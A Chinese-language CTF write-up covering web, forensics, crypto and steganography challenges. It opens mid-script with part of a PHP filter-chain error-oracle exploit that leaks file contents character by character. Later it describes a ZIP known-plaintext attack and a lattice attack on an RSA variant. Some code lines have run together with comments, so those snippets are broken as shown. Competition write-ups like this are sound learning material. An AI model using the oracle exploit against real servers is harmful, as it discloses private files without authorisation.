                # V W Xif req(f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'):
                        return 'X'
                elif req(f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
                        return 'W'
                elif req(f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
                        return 'V'else:
                        err('something wrong')
        elif not req(f'{prefix}|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'):
                # Zreturn 'Z'
        elif not req(f'{prefix}|string.toupper|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'):
                # zreturn 'z'
        elif not req(f'{prefix}|string.rot13|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'):
                # Mreturn 'M'
        elif not req(f'{prefix}|string.rot13|string.toupper|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'):
                # mreturn 'm'
        elif not req(f'{prefix}|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'):
                # yreturn 'y'
        elif not req(f'{prefix}|string.tolower|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'):
                # Yreturn 'Y'
        elif not req(f'{prefix}|string.rot13|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'):
                # lreturn 'l'
        elif not req(f'{prefix}|string.tolower|string.rot13|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'):
                # Lreturn 'L'
        elif not req(f'{prefix}|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}'):
                # hreturn 'h'
        elif not req(f'{prefix}|string.tolower|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}'):
                # Hreturn 'H'
        elif not req(f'{prefix}|string.rot13|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}'):
                # ureturn 'u'
        elif not req(f'{prefix}|string.rot13|string.tolower|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}'):
                # Ureturn 'U'
        elif not req(f'{prefix}|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
                # greturn 'g'
        elif not req(f'{prefix}|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
                # Greturn 'G'
        elif not req(f'{prefix}|string.rot13|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
                # treturn 't'
        elif not req(f'{prefix}|string.rot13|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
                # Treturn 'T'else:
                err('something wrong')

print()
for i in range(100):
        prefix = f'{header}|{get_nth(i)}'
        letter = find_letter(prefix)
        # it's a number! check base64if letter == '*':
                prefix = f'{header}|{get_nth(i)}|convert.base64-encode'
                s = find_letter(prefix)
                if s == 'M':
                        # 0 - 3
                        prefix = f'{header}|{get_nth(i)}|convert.base64-encode|{r2}'
                        ss = find_letter(prefix)
                        if ss in 'CDEFGH':
                                letter = '0'
                        elif ss in 'STUVWX':
                                letter = '1'
                        elif ss in 'ijklmn':
                                letter = '2'
                        elif ss in 'yz*':
                                letter = '3'else:
                                err(f'bad num ({ss})')
                elif s == 'N':
                        # 4 - 7
                        prefix = f'{header}|{get_nth(i)}|convert.base64-encode|{r2}'
                        ss = find_letter(prefix)
                        if ss in 'CDEFGH':
                                letter = '4'
                        elif ss in 'STUVWX':
                                letter = '5'
                        elif ss in 'ijklmn':
                                letter = '6'
                        elif ss in 'yz*':
                                letter = '7'else:
                                err(f'bad num ({ss})')
                elif s == 'O':
                        # 8 - 9
                        prefix = f'{header}|{get_nth(i)}|convert.base64-encode|{r2}'
                        ss = find_letter(prefix)
                        if ss in 'CDEFGH':
                                letter = '8'
                        elif ss in 'STUVWX':
                                letter = '9'else:
                                err(f'bad num ({ss})')
                else:
                        err('wtf')

        print(end=letter)
        o += letter
        sys.stdout.flush()

"""
We are done!! :)
"""print()
d = b64decode(o.encode() + b'=' * 4)
# remove KR padding
d = d.replace(b'$)C',b'')
print(b64decode(d))

Misc

ez_Forensics

把镜像丢进Passwarekit​进行识别提取：

​​

有第一部分的flag：flag{194a019a-1767-91​

查看进程信息，发现有Winrar​：

​​

​filescan​一下，然后查看桌面文件：

​​

提取这三个文件，其中key.rsmr​是鼠标记录

​​

打开压缩包发现readme.txt​，桌面也有一个readme.txt​

名字相同，怀疑是被修改了，查看编辑前的版本：

​

替换修改，打包一下：

​

CRC校验值相同，可以明文攻击

这个地方我用bkcrack​跑明文攻击，跑到100%，没找到密钥。。。

又尝试了好多压缩软件都不行，最后360压缩可以了

​​

​[ 6296ee7a 28ddd715 d09626ae ]​

恢复解密文件，有一个table，查看hex开头是89504E47​，改后缀为png

​​

然后按照鼠标画圈的顺序恢复key

​​

顺序是：a91e37bf​

​volatility​提取cmd记录：

​​

有SET SECRET​但是不知道设置的哪个环境变量，但是查看的时候翻到了火狐浏览器的环境变量：

​​

解密aes：

​​

出第二部分flag：3a-f140-2626195942a0}​

合并起来：

​flag{194a019a-1767-913a-f140-2626195942a0}​​

Reverse

Story

源码里就有：

​​

Crypto

DHRSA

因为t1和t2只可以取01，所以pq组合一共四种情况，单个来看p就只有两种情况

题目给出了62组

$$
C_i=g^{c_i}(modr)
$$

肯定有一个线性组合使得

$$
a_1c_1+……+a_nc_n=0
$$

可以凭此构造格子

然后gcd两组来求r

from Crypto.Util.number import *
from gmpy2 import *
cs = [9771395973011655803041049350400889693558053786906788399593857181577256033087775470396528142785531153656250742163382306394790826547696369519066900832598632, 8272821018041191335817314516024870641634584838709754134295649414123178842937800314505950304166260273130361466329869880024580711311122266329063823157928578, 9224196545381524434689958500941052085722509493323098161219607220849299786695264643219965900283680542442505315754998495711744726427299710433730839117822341, 1008469491610938216099437983993305774398678547360061529021095399886442276321623596589458980857784117593111375842386009804225494459153563491699302948435260, 7616413788891104674175703849368746136014029498968757620534065604935400737852925875633996435081025804169137754721194517660132118370608033038162779303724417, 7584549797616896430743312033954227311758800006881758430848397006388599762762869550122276429056861398410906389124143882721771887174154825862686488628829556, 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Cs = [8139606023160038223737079478941118590185130735073983268534523900466799026361464500424904356248753891316780445417573842978538788878976916399246204378441056, 6731047210123888962354325580924677204725121336252367061814596228770531939085170702108835833376855510135160514592212524395740859425722612967050674897558554, 8618477079542034439812499299348172601780082410118486479357089433765711733400709574657418048464225715724091467457454996920521245517408697962287328781660172, 9243753430474436162138755988303772102594989764465818886594050158035773372691908643200174705510107166901553683916448850166844368808268900160791189879886461, 5081325787403850070122342963066210472728109263877409302015934601768721956580972368361384922036489915214279268746375195256103574903758346112788101331060421, 1628416782427642576537753826054924818984220964280741905185643986017630454253562852051349318488828073385103084138926801432973213673304459124585445072035446, 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2486099330626766737257165308745024530097078778638782229355520177306987440002696878039888805275868528396743863481534888478552983793450062429371941132535078, 4167116570391804600255654075462038844507091559173265725625706455067299132147050347586004334123441342458308129150386241209679630518761986850258774882817936, 10185168995554407266816276622812659886483756602705301925351101031752727294301531965596293802652862084495500685833881517475134558625964721775303100038614160, 5456722125978665120229905841107251183374955393168570741251463630873840897267613318536370613164271366075428107312082239190184994439809325775182251507346825, 2939543075586963360992868413324864290837308216610370795940797957094565066506489483089379278658514795189713701943386974203309580258770009927268150497535566, 8743821334723368976778894507033225804145157545090682229505938930782456568432992185052055300701880227956622698441050884506223378607674824402614530393729367, 9157713754021073809434421172656952683393171530300224019784181318620517764533872565796337369744270420561987117136110183189161447503240922447481705416792933, 5878746531427980282714190471263188376089128406106851686623310774890789241719381568167580210027581541900359110459878728688406025608100014784866859967415069, 4723171396311923892248342600001144805520828588734579829312137837892547473549988680030764497200183283689846461436720606808050677973475562028290802376894040, 2843792191169572505424299937637335345928688319904295706002781014868972565908100208212634694593060855068754141546774316683717972204080538819157716088784950, 5649760949181251560547472271598936178113043683541495970916235935289470274241813254378868964502496661853777833292127852117859645515779670872354035434010971, 4449864701816030502869094392702038297167798303739676692580712480289620671504896451221373121095485571657769741067946182294271935296786038388717131050743105, 6015559474636248088561229697316533148096304587912722704321346276808664704462122988070466258472892491390452320498582384705624788234989258086915479317589554, 404470006641663392206752968026191050354477219085475176007692089093673919513513760805174543858749324166919507964495235284709646802332010921978754916213842, 6400060591708772742036825960295348204573787431673486966335080578765346768135800288344580251211949027002658413241092081227396455353862253913043273557206036, 4139621554482255887742647243977351847150733617205749719993940245058866579901045219083635101090422724513229414103870573743420533567984369212416328299201648, 3168193697707475529193822215328153723009219332354194589973887573663124790963735981601241436331461792216723819214300690004321006157765917632838358657075965, 7458978598400749076925462287692314594837852961494454950837549434543148869247423634127441385921463980373281159265749886433453416941713109715452118403890765, 10491155550479668966723346610934052049109810767277413338024524325905994360818069675936484156539236718504294063495115065935392782490138348869081026608020887, 8076329104944759931627228905172809552808063163769317826043905443799635345365021015532382100166858241152720115250871898592915217180839896374819810099249842]

length=62
cs_=[]
for i in cs:
    cs_.append(i*2^17)
L = Matrix(ZZ,62,63)
for i in range(len(cs)):
    L[i,len(cs)] = cs_[i]
    L[i,i] = 1
L = L.LLL()

xx = product([ZZ(y) ^ x for x, y in zip(L[1][:-1], Cs)])
yy = product([ZZ(y) ^ x for x, y in zip(L[2][:-1], Cs)])
r = gcd(xx.numer() - xx.denom(), yy.numer() - yy.denom())
print(r)

之后用共模攻击的方式来求得g

s,s1,s2 = gcdext(cs[1], cs[2])
g = pow(Cs[1], s1, r) * pow(Cs[2], s2, r) % r
print(g)

最后尝试两种情况，求出构造pq的C的生成方式

再用离散对数求出小c即可恢复pq之一

from Crypto.Util.number import *
from gmpy2 import *
X = 197551296081022143608034360606381334253374533627365455002683616928330857539205836504075700389569213696043700490195977045586318090211726350917451410932216
W = 10625560347436147537644301075885059900758953251551866239435327407977591190018531918316486861730777808988185029637608372445416280896280058313924537678128258
c = 61040814411609979711931510878805548760848686739454567580358315369154260598969544907138563610735920809370306294050956464828615417082277087799410050319871691154003766481799397897519555113273982347768485719165972634089532894585256662433949694618032747408071953491187718726218120284389638124624152241321006634774
n = 66022752859576751705544115674843820574619778139841743306742674741819040147745776264697779394213058328572691946505564202779552568613562176486470653760142864852745249430164256770469301179840812051842363261404790355057115296671805975126795017665392798621718740402876024901551851638786170466127104615340863081593
r = 10667924450645948100608927157603781268991945924055943816082403476371801785989561454936076097627912279097114498936308342036099904242687703932444772733243819
g = 6019887080267290264230260653584196278384320835640816590398803560025633855808434001764263669714920086295176455397726166743099512294951861972283858355052731
C = (n*W)%r
c_ = discrete_log(mod(C,r),mod(g,r))

assert pow(g,c_,r)==C

#p = ZZ(C * W^1 * pow(X, c, r) % r)
p = ZZ(C * W^0 * pow(X, c_, r) % r)
q = n//p

phi=(p-1)*(q-1)
d=invert(e,phi)
m=powmod(c,d,n)
print(long_to_bytes(m))

Challenge name：23333！

难度：Easy

考点：文件十六进制、零宽隐写

WriteUp:

1. Winhex打开发现明显特征：

   ​​

2. 编写脚本进行恢复：

    input = open(data', 'rb')
    input_all = input.read()
    ss = input_all[::-1]
    output = open('data.zip', 'wb')
    output.write(ss)
    input.close()
    output.close()

3. vim，打开：零宽隐写：

   ​​

   ​​

Challenge name：The game of mathematics

难度：Middle

考点：Fuzz

WriteUp：

解压得到key.jpg，是个数独，在线数独求解器 (gwalker.cn)

​​

exif信息里找到提示对角线，根据之前求解的数独结果，得到密码为654917276261618641

​​

得到一个key.txt，根据题目名称数学游戏，猜测也是个数学游戏，fuzz之后发现是Nonogram数织游戏

​​

github上可以找到个解析的网站Nonogram (handsomeone.github.io)，得到压缩包密码Take1tEasy

​​

解开得到flag

flag{c6ebcf84bcd54bac0803086a4630f673}

Challenge name：This is Steganography

难度：Middle

考点：LSB音频隐写、webdings字体

WriteUp：

听wav开头有一些杂音，16进制发现data部分有大量不同寻常的01字节

​​

猜测是wav的lsb隐写，写脚本提取

import wave

def read_wav_file(file_path):
    with wave.open(file_path, 'rb') as wav_file:
        params = wav_file.getparams()
        frames = wav_file.readframes(wav_file.getnframes())
    return params, frames

def extract_data(frames):
    binary_data = ''
    for frame in frames:
        binary_frame = format(frame, '08b')
        binary_data += binary_frame[-1]
    return binary_data

def binary_to_bytes(binary_data):
    byte_data = bytearray()
    for i in range(0, len(binary_data), 8):
        byte = binary_data[i:i+8]
        byte_data.append(int(byte, 2))
    return bytes(byte_data)

def save_data_to_file(data, file_path):
    with open(file_path, 'wb') as output_file:
        output_file.write(data)

def main():
    modified_file_path = 'modified_audio.wav'
    params, frames = read_wav_file(modified_file_path)
    extracted_data = extract_data(frames)
    byte_data = binary_to_bytes(extracted_data)
    output_file_path = 'extracted_data.png'

    save_data_to_file(byte_data, output_file_path)

    print("成功提取隐藏的数据并保存到文件。")

if __name__ == '__main__':
    main()

得到一张倒置的图片，是webdings字体(13条消息) 'Webdings' 的字体对照表_webdings字体_chenjieit619的博客-CSDN博客

​​

倒置回来后对照表即可得到flag

flag{8d9ad0457c1a8b603978085b0bffcf93}

Challenge name：You're also confused, right?

难度：Schrödinger

考点：Xor

WriteUp

根据题目提示，应该与异或有关，根据flag.zip​后缀提示，将前几个字节与zip文件头异或

可以得到1234

​​​​

猜测zip文件应该是与0x01-0xff递增逐字节异或的，解密脚本:

with open('flag.zip', 'rb') as input_file, open('result.zip', 'wb') as output_file:
    byte = input_file.read(1)  
    xor_value = 0x01  

    while byte:

        xor_byte = bytes([byte[0] ^ xor_value])
        output_file.write(xor_byte)

        byte = input_file.read(1) 
        xor_value = (xor_value + 1) % 256  

压缩包解开可以得到两张图

发现两张图大小相同，

​​

打印xor.png的rgb发现这张图并不是一张全黑的图

​​

结合图片名仍跟异或有关，将两张图逐像素异或

from PIL import Image

image1 = Image.open('xor.png').convert('RGB')
pixels1 = image1.load()

image2 = Image.open('rox.png').convert('RGB')
pixels2 = image2.load()

result_image = Image.new('RGB', image1.size)
result_pixels = result_image.load()

width, height = image1.size
for x in range(width):
    for y in range(height):
        r1, g1, b1 = pixels1[x, y]
        r2, g2, b2 = pixels2[x, y]
        r_xor = r1 ^ r2
        g_xor = g1 ^ g2
        b_xor = b1 ^ b2
        result_pixels[x, y] = (r_xor, g_xor, b_xor)

result_image.save('result.png')

得到的图片与rox.png做盲水印得到flag

​​

​​

flag{AC4E331C-A2D0-CA2C-93D6-B9E22F19A373}

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